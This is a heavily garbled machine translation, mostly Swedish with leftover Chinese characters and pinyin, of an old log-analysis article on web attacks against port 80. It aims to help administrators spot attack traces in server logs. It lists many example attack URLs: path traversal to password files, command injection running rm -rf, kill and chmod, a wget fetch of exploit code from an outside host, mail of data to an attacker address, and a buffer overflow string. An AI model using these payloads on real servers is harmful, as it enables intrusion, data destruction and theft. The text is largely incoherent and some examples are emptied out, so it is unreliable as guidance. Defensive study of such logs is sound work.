80-port web-service-attack spår



I. Sammanfattning

II. En detaljerad beskrivning av

III. Ytterligare

IV. Spridningseffekter Analys

V. Omkodning

VI. Slutsatser

[Abstract]

webbplats 80 som standard tjänst hamn, det är allt om frisläppandet av säkerheten problemen har kommit ut, vara en del även av dessa sårbarheter utnyttjas för att vinna systemadministratörens 权限 till tomten Neibu följande ja Zenomorph rätt på cirka 80 Duankou spår av angrepp Fang Shi forskning, och berätta hur du hittar fel från loggen register.

[Detail]

Här i del genom ett antal Liezi display på webbservrar och applikationer på their general attack, and its spår, som endast utgör Liezi major attack, finns det ingen lista över alla form av angrepp, det här avsnittet kommer detaljerad beskrivning av den roll som varje attack, och hur man kan utnyttja säkerhetsluckan för att attackera.

(1) "." ".." Och "..." begäran

Spår av dessa attacker är mycket vanliga förfaranden för webbapplikationer och 服务器 webben, som används för att ge obehöriga eller mask virus program förändringar webbserver väg, att få tillgång till icke-offentliga av 区域. De flesta CGI-program med dessa fel ".." begäran.

Exempel:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

Detta visar att angriparen Liezi begäran mosd denna fil, om angriparen möjlighet genombrott webbservern rotkatalogen och sedan få mer information och för att få ytterligare privilegier.

(2) "% 20" begäran

% 20 är det Hexvärde att 16 platser, men detta betyder inte att du kan använda vad som helst, men när du visa loggen kommer att finna det, vissa webbserver som körs på den här karaktären kan genomföras effektivt Därför bör du noga se över loggen. Å andra sidan kan begäran hjälpa ibland att utföra vissa kommandon.

Exempel:

http://host/cgi-bin/lame.cgi?page=ls% 20-al |

Detta Liezi visar angripare kan köra ett UNIX-kommando, med uppgift om hela katalogen av handlingar som krävs, vilket angriparen komma åt viktiga filer på ditt system, för att hjälpa honom att ytterligare skapa förutsättningar för att erhålla privilegier.

(3) "% 00" begäran

% 00 sa 16-byte hexadecimal tom, kunde han lura webbapplikation, och begära olika typer av filer.

Exempel:

http://host/cgi-bin/lame.cgi?page=index.html

Detta kan vara en giltig ansökan i maskinen, om en angripare medveten om denna begäran antas, kommer att se längre för cgi förfaranden.

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

Kanske cgi programmet inte godta denna begäran eftersom den begäran att kontrollera filnamnet suffix, till exempel: html.shtml eller andra typer av filer. De flesta program kommer att tala om den önskade filen är ogiltig, den här gången kommer att tala om angriparen begär att filen måste vara en karaktär av en filtyp suffix, så en angripare kan få systemet sökväg, filnamn, vilket resulterar i ditt system mer känsliga uppgifter

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd% 00html

Uppmärksamhet på denna begäran, kommer det att fuska cgi program att detta dokument är att fastställa det acceptabla filtyper, några tillämpningar av effektiva inspektioner som dumma begäran fil, som vanligtvis används metoder för angriparen.

(4) "|" begäran

Detta är ett rör natur, i Unix-systemet, en begäran om hjälp i genomförandet av flera system kommandon på samma gång.

Exempel:

# Cat access_log | grep-i ".."

(Detta kommando kommer att visa loggen i ".." begäran, används för att hitta anfallare och maskar)

Ofta upptäcker att många webbapplikationer använda det här tecknet, detta också leder till falskt alarm i IDS-loggar.

I noggrann undersökning av din ansökan, så den fördelen att falsklarm i system för upptäckt av intrång.

Här är några av Lieh-tzu:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls |

Denna begäran kommando, följande är några förändringar i Liezi

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls% 20-al% 20/etc |

Denna begäran är förtecknade i UNIX-systemet / etc katalog över alla filer

http://host/cgi-bin/lame.cgi?page=cat% 20access_log | grep% 20-i% 20 "lame"

Katten kommandon begäran och genomförandet av kommandot grep också, kolla in "lame"

(5) "," begäran

I UNIX-system ger denna karaktär flera kommandoradsfunktioner

Exempel:

# Id, uname-a

(Genomförande av id kommando, följt av genomförande av uname kommando)

Vissa web program med denna karaktär, kan resultera i din IDS loggar en varning för misslyckande, bör du noga kontrollera din webb program, så att du minskar risken för fel av IDS varningar.

(6) " " och " " Request

Bör kontrollera loggarna notera två tecken, av flera skäl, är den första en karaktär att den extra data i dokumentet

Exempel 1:

# Echo "din hax0red h0 h0" / etc / motd (motd begära skriftlig information i detta dokument)

En angripare kan enkelt använda den begäran som ovan manipulering av din webbsida. Som den berömda RDS utnyttja angriparen ofta används för att ändra webbsidan.

Exempel 2:

http://host/something.php=Hi% 20mom% 20Im% 20Bold!

Html Du kommer att märka att språket av tecken här, han också tillbringade " "," " tecken, sådana angrepp inte kan leda till en angripare att få tillgång till systemet, förvirrade det folk tror att det är en legitim webbplats information (som leder till Människor besöka denna länk för att besöka angriparen att ställa in adressen, kan denna begäran kodas 16 hex tecken i form, så att spåren av attacken är inte så uppenbart)

(7) "!" Begär

Gemensamt språk om denna karaktär begäran SS (Server Side Include) Jag attacken, om angriparen är en angripare förvirra användaren klickar på länken, och ju samma som ovan.

Exempel:

http://host1/something.php =

Den Lieh-tzu är en attackerare kan göra det till en fil på webbplatsen host2 från host1 visas ovan (kräver naturligtvis besökare för att besöka angriparens anslutningsinställningar. En begäran kan omvandlas till 16 hex kodning mask, inte lätt att hitta)

Samtidigt kan detta synsätt också genomföra kommandot webbplatsen myndigheten webben

Exempel:

http://host/something.php =

Den Lieh-köras på fjärrsystemet "id" kommandot, kommer den att visa webbplatsens användarens ID, är vanligtvis "nobody" eller "www"

Detta formulär kan också inkluderas dolda filer.

Exempel:

http://host/something.php =

Den dolda filer. Htpasswd kommer inte att visas, kommer Apache att inte fastställa sådana regler. Ht ansökningsformuläret, och SSI logotyp kringgå sådana begränsningar, och leda till säkerhetsproblem

(8) "," Begär

Sådana attacker används för försök till avsides infoga en PHP webbapplikation förfaranden, får den tillåta verkställighet ordning, beroende på serverinställningar, och andra faktorer på arbetsplatsen (t.ex. php är inställd på felsäkert läge)

Exempel: http://host/something.php = Vidarekopplingsservrar ("id ");?

I några enkla php tillämpning kan det vara att webbplatsen på fjärrkontrollen rättigheter systemet användare för att genomföra den lokala kommandot

(9) "` "begäran

Detta tecken senare används för att utföra kommandon i perl, är karaktärerna i webbapplikationen inte ofta, så om du ser det i din logg, bör vara mycket försiktiga

Exempel:

http://host/something.cgi = `id`

Skriv ett perl cgi programmet i fråga skulle leda till genomförandet av id-kommandot

[Ytterligare]

I följande avsnitt kommer att diskutera genomförandet av fler attacker kunde kommando, tillsammans med de begärda handlingarna, och om du har en avlägsen fel kommandon bör det vara hur man kontrollerar upptäckten. Denna del är bara att ge dig en bra idé, och tala om ditt system vad som händer, angripare försöker attackera ditt system spår, men listar inte alla angripare att använda kommandon och förfrågningar.

"/ Bin / ls"

Detta kommando begär hela sökvägen i många av programmets webbapplikationen 中 har detta kryphål, om du loggar in på många platser Zhezhong begäran, är mycket av Keneng Xing Cunzaiyuancheng Zhixing kommando sårbarhet är 但 inte nödvändigtvis en Wenti kan också vara ett falskt alarm. Än en gång påminns, webb applikation skriven (cgi, asp, php ... etc) är grunden för trygghet

Exempel:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls% 20-al |

http://host/cgi-bin/bad.cgi?doh=ls% 20-al;

"Cmd.exe"

Detta är ett fönster av skalet, om en angripare att komma åt och köra skriptet på servern inställningarna under de villkor som godkänts i fönstren maskin kan göra något, en hel del maskar är genom port 80, meddelande till avlägsen maskin

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:

"/ Bin / id"

Detta är en två binära filer, dess problem och / bin / ls, som, om du loggar in på många ställen en sådan begäran är det möjligt för stora fjärrkörning kommandot sårbarhet, men inte nödvändigtvis ett problem kan också vara ett falskt alarm.

Det kommer att visa vilken del som hör till vilken användare och grupper

Exempel:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/id |

http://host/cgi-bin/bad.cgi?doh=id;

"/ Bin / rm"

Detta kommando kan ta bort filer utan att en korrekt användning är mycket farligt

Exempel:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm% 20-rf% 20 * |

http://host/cgi-bin/bad.cgi?doh=rm% 20-rf% 20 *;

"Wget och TFTP" kommandot

Dessa kommandon är ofta angriparen kan få ytterligare privilegier för att ladda ner filer, är wget ett UNIX-kommando under, kan användas för att ladda ner bakdörrar är tftp under befäl Unix och NT, används för att hämta filen. Vissa IIS maskar sprider sig genom tftp att kopiera viruset till andra värddatorer

Exempel:

http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget% 20http: / / host2/Phantasmp.c | http:// värd / cgi-bin / bad.cgi? DOH = wget% 20http: / / www.hwa-security.net/Phantasmp.c;

"Cat" kommandot

Detta kommando används för att visa innehållet i filen, som används för att läsa viktig information, såsom konfigurationsfiler, filer lösenord filer kredit och dokument du kan tänka dig

Exempel: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat% 20/etc/motd | http://host/cgi-bin/ bad.cgi? DOH = cat% 20/etc/motd;

"Echo" kommandot

Detta kommando används för att skriva data till filen, t.ex. "index.html"

Exempel: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo% 20 "fc-# kiwi% 20was% 20here"% 20 % 200day.txt | http://host/cgi-bin/bad.cgi?doh=echo% 20 "fc-# kiwi% 20was% 20here"% 20 % 200day.txt;

"Ps" kommandot

Listor den pågående processen, säger anfallaren som en fjärrvärd kör programvaran för att få en uppfattning om säkerhetsfrågor med att skaffa ytterligare tillstånd

Exempel: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps% 20-aux | http://host/cgi-bin/bad. cgi? DOH = ps% 20-aux;

"Döda och killall" kommandot

Unix-system i syfte att döda denna process, en angripare kan använda detta kommando för att stoppa systemet tjänster och processer kan också radera spår av angriparen, en del utnyttja kommer att producera en hel del barn processer

Exempel: http://host/cgi-bin/bad.cgi?doh=../bin/kill% 20-9% 200 | http://host/cgi-bin/bad.cgi?doh=kill% 20 -9% 200;

"Uname" kommandot

Detta kommando talar om för angriparen fjärrdatorn namn, under en tid, genom den här webbplatsen för att veta vilken ISP, en angripare som kan besökas i dag. Uname-a för att begära normalt, kommer dessa att registreras i loggfilen

Exempel: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname% 20-en | http://host/cgi-bin/bad. cgi? DOH = uname% 20-en;

"Kopia gcc, Perl, Python, osv ..." sammanställning / tolkning av kommandot

Angripare genom wget eller tftp hämta utnyttja, och använda CC, gcc kompilatorn att sammanställa detta i ett körbart program, och ytterligare privilegier tillgång

Exempel: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc% 20Phantasmp.c | http://host/cgi-bin/bad. cgi? DOH = gcc% 20Phantasmp.c,. / a.out% 20-p% 2031337;

Om du visa loggarna finns i "perl" python "Dessa instruktioner kan vara en fjärrangripare att hämta Perl, Python skript och försökt att få privilegier lokala

"Mail" kommandot

Angripare använder ofta detta trafikledningssystem, några viktiga dokument till angriparens egen postlåda, men också villig att e-post bombattacker genomförs

Exempel: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail% 20attacker@fuckcnhonker.org% 20

2.168.22.1;

"Chown, chmod, chgrp, chsh, osv ..." och andra kommandon

Unix-system i syfte att ge dem möjlighet att ändra filrättigheter

chown = möjligheten att fastställa filen ägaren chmod = gör det möjligt att ställa in filrättigheter chgrp = gör det möjligt för ägaren att ändra gruppens behörigheter för filer chsh = får ändra användarens skal

Exempel: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod% 20777% 20index.html | http://host/cgi-bin/ bad.cgi? DOH = chmod% 20777% 20index.html, http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown% 20zeno% 20 / etc / master.passwd | http://host/cgi-bin/bad.cgi?doh=chsh% 20/bin/sh, http://host/cgi-bin/bad.cgi?doh=../. . / .. / .. / bin / chgrp% 20nobody% 20/etc/shadow |

"/ Etc / passwd" filen

Detta är systemets lösenord fil, vanligtvis skugga av, och inte är möjligt att se den krypterade lösenord, men för en angripare som kan veta vad som gäller användaren och systemets absoluta sökvägen, plats namn och annan information, vilket vanligtvis är genom att skugga bort, så angriparen ser normalt / etc / shadow fil

"/ Etc / master.passwd"

Denna fil är BSD-system lösenord filen innehåller den krypterade lösenord, filen är på root-kontot bara read-only, och vissa okvalificerade angriparna öppnade sitt försök att läsa innehållet insidan., Om webbplatsen är root-behörighet för att köra, då angriparen är, kan vi läsa innehållet insidan, en massa problem för systemadministratören kommer efter varandra

"/ Etc / shadow"

Innehåller ett lösenord krypterat system, läsa samma på root-kontot och / et / master.passwd nästan

"/ Etc / motd"

När användarna loggar in i Unix-systemet, visas informationen i "Message of the Day"-filen ger det viktig systeminformation och administratör för användare av vissa som användare som vill se dem som inte är, även innehåller den information systemet version, angriparen brukar se denna fil, för att förstå vad systemet körs på angriparen, är nästa steg att söka efter denna typ av system, exploatera och ytterligare tillgång till systemprivilegier

"/ Etc / hosts"

Dokumentet innehåller IP-adress och nätverksinformation, en angripare kan läsa mer om systemets nätverksinställningar

"/ Usr / local / apache / conf / httpd.conf"

Detta är en Apache webbserver konfigurationsfil, kan en angripare förstå, såsom CGI, SSI och annan information är tillgänglig

"/ Etc / inetd.conf"

Detta är konfigurationsfilen inetd service, en angripare kan lära sig fjärr maskinen, starta dessa tjänster, om du vill använda wrapper för att åtkomstkontroll, om omslag hittades körs en angripare nästa steg kommer att kontrollera "/ etc / hosts.allow" och "/ etc / hosts.deny", fil och som kan ändra vissa inställningar, privilegier tillgång

". Htpasswd. Htaccess, och. Htgroup"

Dessa filer vanligtvis används under webbplatsen användarautentisering, skulle en angripare se dessa filer, och få ett användarnamn och lösenord, är lösenordet filen. Htpasswd krypterad, bryta igenom några enkla dekrypteringsprocessen, gör att en angripare för att logga in skyddade områden (vanligtvis användare med samma användarnamn och lösenord, kan angriparen besök även andra kontot)

"Access_log och error_log"

Dessa är de Apache-server loggfilerna, anfallarna se ofta dessa filer, titta på dessa ansökningar registreras, dessa och andra krav på olika platser

Vanligtvis får angriparen ändra dessa loggfiler, såsom hans eget adressinformation, angriparen genom den port 80 genom ditt system och backup-system också inte fungerar, det finns ingen annan spela in program rekord systemets status, vilket skulle intrångsdetektering blir mycket svårt att arbeta

"[Enhetsbeteckning]: winntrepairsam._ eller [enhetsbokstav]: winntrepairsam"

Windows NT lösenord filen, om fjärrkontrollen kommandot inte kan genomföras, kommer angriparna begäran vanligtvis dessa handlingar, sedan "L0pht spricka" av den typ av lösenord sprickbildning verktyg för att spricka, om angriparen försöker attackera administratörens lösenord filen, om framgångsrik, då den avlägsna maskinen kommer att angriparen får kontroll

[Overflow analys]

I denna artikel kommer jag att inte säga för mycket om det rinner över ämnet, kommer jag att ge ut vad dessa företeelser och spår av anmärkningsvärt och särskilt oroande, en buffert angrips ofta av angriparen kod omställning och svårt att hitta andra sätt att uppnå

Här är en enkel Lie Zi

Exempel: http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA

Detta Liezi visar angripare på en ansökan om att sända en hel del ett tecken, att testa programmet en buffer overflow kan buffertspill få en avlägsen kommando behörigheter utförande värd, om ägaren har setuid och förfaranden för root genom översvämningen, kan få tillträde till hela systemet, om inte som setuid program, sedan översvämningen är bara genom att köra webbplatsens användarrättigheter

Här kan inte berätta alla omständigheter, men du bör regelbundet kontrollera din loggfil, om denna dag plötsligt hittade en hel del förfrågningar, men oftast inte mer än en begäran innebär det att du utsätts för spill attacker, naturligtvis också kan Ett nytt nätverk mask angrepp

[Omkodning]

Alla attackerna ovan nämnda begäran, vet angriparen vanligen IDS-system ofta mekanisk kontrollera begäran, vanligtvis angriparen kommer att använda data konvertering verktyg för att konvertera den efterfrågade innehållet formatet 16 band, vilket resulterade i IDS kommer att ignorera dessa krav Vi känner till CGI sårbarhet genomsökningsverktyget som en bra Liezi Whisker. Om du visa loggen av tiden funnit ett stort antal 16-bandet och inte några gemensamma tecken, då angriparen kan prova att använda några av de sätt att attackera ditt system

Ett snabbt sätt är din loggfil begäran om dessa 16 hex, kopiera den till din webbläsare, kan webbläsaren omvandlas till rätten att begära, och visas innehållet i ansökan, om du inte mod att ta denna risk, en enkel man ASCII, kan förse dig med rätt kod.

[Slutsats]

Denna artikel kan inte täcka alla de 80 hamnar i attacken, men dessa har nämnts vanligaste attackerna, och berätta hur du kontrollera dina loggfiler, och hur, ta upp detta eftersom antalet IDS regler, skriver hennes mål är att webbsystem ansvar bör ligga om vad en god idé på samma gång, jag hoppas att denna artikel bidrar till att webbutvecklare programmet nätet för att skriva bättre program

AV OBS: Om du har några synpunkter och förslag, vänligen skicka ett e-postmeddelande admin@cgisecurity.com.